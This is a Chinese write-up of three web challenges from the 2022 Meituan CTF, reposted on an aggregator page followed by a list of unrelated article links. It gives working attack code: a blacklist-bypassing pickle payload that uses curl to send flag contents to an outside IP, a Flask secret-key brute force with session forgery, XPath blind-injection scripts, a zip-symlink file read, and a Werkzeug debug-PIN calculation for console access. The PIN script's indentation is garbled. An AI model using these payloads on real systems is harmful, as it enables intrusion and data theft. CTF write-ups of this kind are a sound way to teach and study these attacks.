当前位置: 首页 > news >正文

[CTF]2022美团CTF WEB WP

最终排名

在这里插入图片描述

easypickle

源码

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符,例如aadai,admmi...
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"
#pickle反序列化,带有黑名单

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

由上源码可知想要造成pickle反序列化需要两步:
1.得到secret_key
2.绕过黑名单造成pickle反序列化漏洞
那么先来实现第一步:
app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3
从这里知道,想要爆破key其实并不难,可以自己试试
在这里插入图片描述
在这里插入图片描述

那么接下来就是要知道怎么爆破了,通过搜索知道有名为flask-unsign工具可以通过字典爆破key

flask-unsign --unsign --cookie "eyJ1c2VyIjoiaWRkbm0ifQ.YyVDmQ.nXit643ch5T34u092IJSngKbCwI" --wordlist dict.txt

这样是通过他自己的字典进行爆破,但是我们需要的是特定的字典,自己生成就好

import os
with open('dict.txt','w') as f:
	for i in range(1,10000):
		a=os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))

flask-unsign要使用的字典里,字符串是要加双引号的,所以这里我就加上了,爆破出key
在这里插入图片描述

接着用flask-cookie-manager来进行伪造,admin是比较好伪造的,重要的是绕过下面的黑名单,编写opcode

import base64
opcode = b'''c__builtin__
map
p0
0(S'os.system("curl http://xx.xx.xx.60:1888/?data=`cat f*`")'
tp1
0(c__builtin__
exec
g1
tp2
g0
g2
\x81p3
0c__builtin__
bytes
p4
0(g3
tp3
0g4
g3
\x81.'''
print(base64.b64encode(opcode))
  #Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnb3Muc3lzdGVtKCJjdXJsIGh0dHA6Ly84MS43MS44NS42MDoxODg4Lz9kYXRhPWBjYXQgZipgIiknCnRwMQowKGNfX2J1aWx0aW5fXwpleGVjCmcxCnRwMgpnMApnMgqBcDMKMGNfX2J1aWx0aW5fXwpieXRlcwpwNAowKGczCnRwMwowZzQKZzMKgS4=

然后

python3 flask_session_cookie_manager3.py encode -s "17ee" -t "{'user':'admin','ser_data':'Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnb3Muc3lzdGVtKCJjdXJsIGh0dHA6Ly84MS43MS44NS42MDoxODg4Lz9kYXRhPWBjYXQgZipgIiknCnRwMQowKGNfX2J1aWx0aW5fXwpleGVjCmcxCnRwMgpnMApnMgqBcDMKMGNfX2J1aWx0aW5fXwpieXRlcwpwNAowKGczCnRwMwowZzQKZzMKgS4='}"
  #.eJxlj0FPgzAAhf9Lzx7GqEZMPDCI3eiKAgkULqa0UGBQqttSrPG_i7t6eLfvvbzvG5ybz3fBLgw8gdLx2lLlut6nuh69NpicjvvaEH82-IWo2iVX7o5WoPyCg2gQNDofULcRe__h-PUISQbdNTDO4JaE8_IaSni03qmkafdW7IaSJrLqtTz0JxWo1JBk3UVxS7eRw4plw4r7lho9NigfgokvN0ZqRfw18mPHQ4LJf75vaDpyo0389xNxe-uZ2VQ2wZUlWGbwGdyB66q6WjIx9Qr8_AKMp1V3.Yyan_w.MyFksg11wDiz5pgmhXmHhp7NQ-8

在服务器监听,nc -lvn 1888
把上面得到的数据用bp发包即可回显flag.

babyjava

题目说了xpath注入
没接触过所以百度
看了这篇文章以后懂了

https://www.gem-love.com/2022/04/26/%E4%BB%8EMySQL%E7%9B%B2%E6%B3%A8%E5%88%B0XPath%E7%9B%B2%E6%B3%A8/

傻瓜式脚本(hhh)

import requests

url = "http://eci-2ze379us24j7y8zkronx.cloudeci1.ichunqiu.com:8888/hello"
    for i in range(44,126):
                a=chr(i)
                #payload='\'or count(/root/*)={} or ''=\''.format(i)
                #payload=''' user1'or starts-with(root(/*[1]),'{}') and '1'='1'''.format(a)
                #payload=''''or substring(name(/root/*[1]),1,)='user{}' or ''='"'''.format(a)   #子节点 user
                #payload=''''or substring(name(/root/user/*[2]),1, 8)='usernam{}' or ''='"'''.format(a)   #user下的两个个子节点都是username
                payload="\'or substring(/root/user/username[2]/text(),1,42)=\'flag"   + "{8b2e0332-c5b2-4439-ab10-739f1edd4dc9" + a +"\'"+"or \'\'=\'\""
                print(payload)
                data={"xpath":payload}
                res=requests.post(url,data)
                # print(payload)
                if "<p>user1</p>" in res.text:
                    print(payload)

OnlineUnzip

源码

import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

压缩包软链接任意读文件
ln -s / dir
zip --symlinks dir.zip dir
制作好后上传压缩包点击即可看到全部文件,但是我们没有权限读取flag
那么算PIN码,读取靶机flask生成pin码的脚本
先知道算pin码所需的东西:

1 该主机的用户名(从/etc/passwd获得,一般在最后一行显示)
2.modname(默认都是flask.app不用管)
3.appname(默认为Flask)
4.flask的文件位置,报错的时候页面会给
5.网关地址的10进制(/sys/class/net/eth0/address,得到以后把冒号去掉然后print(int("xxx",16))
6.下面所说的机器id(/etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup)

可以看到

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: t.Union[str, bytes]
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id

看关键部分

        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

如果有value,则加到linux变量中,然后break,继续往下
所以最后需要添加的是machine-id + cgroup
还要注意因为是py3.8所以用的生成pin码的脚本不同,改用了sha1

import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]


private_bits = [
    '95530446088', '96cec10d3d9307792745ec3b85c896203b26b610dff6c00984e0c7b03d3418dc83d90195e7e90d11c845cb1a84ce6f14'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
            h.update(bit)
            h.update(b'cookiesalt')
            
            
            
            
            num = None
            if num is None:
                h.update(b'pinsalt')
                num = ('%09d' % int(h.hexdigest(), 16))[:9]
                
                
                rv =None
                if rv is None:
                    for group_size in 5, 4, 3:
                        if len(num) % group_size == 0:
                            rv = "-".join(
                                num[x: x + group_size].rjust(group_size, "0")
                                for x in range(0, len(num), group_size)
                            )
                            break
                        else:
                            rv = num
                            
                            
print(rv)

得到之后可以开启控制台,找命令读取即可
在这里插入图片描述

相关文章:

  • Android 夸应用传递数据 传递 Parcelable对象
  • Nodejs 如何开启多进程,进程如何通讯
  • 【cloud Alibaba】(一)服务注册和配置中心——Nacos
  • 我自己制作的导航页网站,源码分享~
  • SpringMvc+Spring+MyBatis+Maven+Ajax+Json注解开发 利用Maven的依赖导入不使用架包模式 (实操十)
  • 编程中什么情况下需要加 volatile?
  • 机器学习数据集读取和预处理
  • 两万字带你了解Java多线程(详细大总结)
  • 转行自学软件测试没后悔,我的经历证明,改变永远没有错
  • Pandas数据分析:快速图表可视化各类操作详解+实例代码(一)
  • mysql的主从创建及mycat的安装
  • OSS存储开放接口规范 和 错误响应
  • 悲观锁、乐观锁和自旋锁
  • RTL8720CM WI-FI+蓝牙,低功耗IoT(物联网)应用 40QFN
  • 程序设计竞赛-过了这个村没这个店
  • 【React系列】如何构建React应用程序
  • 【面试系列】之二:关于js原型
  • avalon2.2的VM生成过程
  • java小心机(3)| 浅析finalize()
  • mysql innodb 索引使用指南
  • node入门
  • Odoo domain写法及运用
  • puppeteer stop redirect 的正确姿势及 net::ERR_FAILED 的解决
  • Selenium实战教程系列(二)---元素定位
  • SOFAMosn配置模型
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • windows下mongoDB的环境配置
  • 程序员最讨厌的9句话,你可有补充?
  • 计算机常识 - 收藏集 - 掘金
  • 讲清楚之javascript作用域
  • 爬虫进阶 -- 神级程序员:让你的爬虫就像人类的用户行为!
  • 什么软件可以提取视频中的音频制作成手机铃声
  • linux 淘宝开源监控工具tsar
  • 组复制官方翻译九、Group Replication Technical Details
  • ​ubuntu下安装kvm虚拟机
  • ​批处理文件中的errorlevel用法
  • # Python csv、xlsx、json、二进制(MP3) 文件读写基本使用
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • ###51单片机学习(1)-----单片机烧录软件的使用,以及如何建立一个工程项目
  • (007)XHTML文档之标题——h1~h6
  • (11)MATLAB PCA+SVM 人脸识别
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (8)STL算法之替换
  • (DFS + 剪枝)【洛谷P1731】 [NOI1999] 生日蛋糕
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (四)鸿鹄云架构一服务注册中心
  • (一)ClickHouse 中的 `MaterializedMySQL` 数据库引擎的使用方法、设置、特性和限制。
  • ./include/caffe/util/cudnn.hpp: In function ‘const char* cudnnGetErrorString(cudnnStatus_t)’: ./incl
  • .env.development、.env.production、.env.staging
  • .NET Core IdentityServer4实战-开篇介绍与规划
  • .net core 连接数据库,通过数据库生成Modell
  • .Net MVC4 上传大文件,并保存表单
  • .NET Standard / dotnet-core / net472 —— .NET 究竟应该如何大小写?
  • .NET/C# 中设置当发生某个特定异常时进入断点(不借助 Visual Studio 的纯代码实现)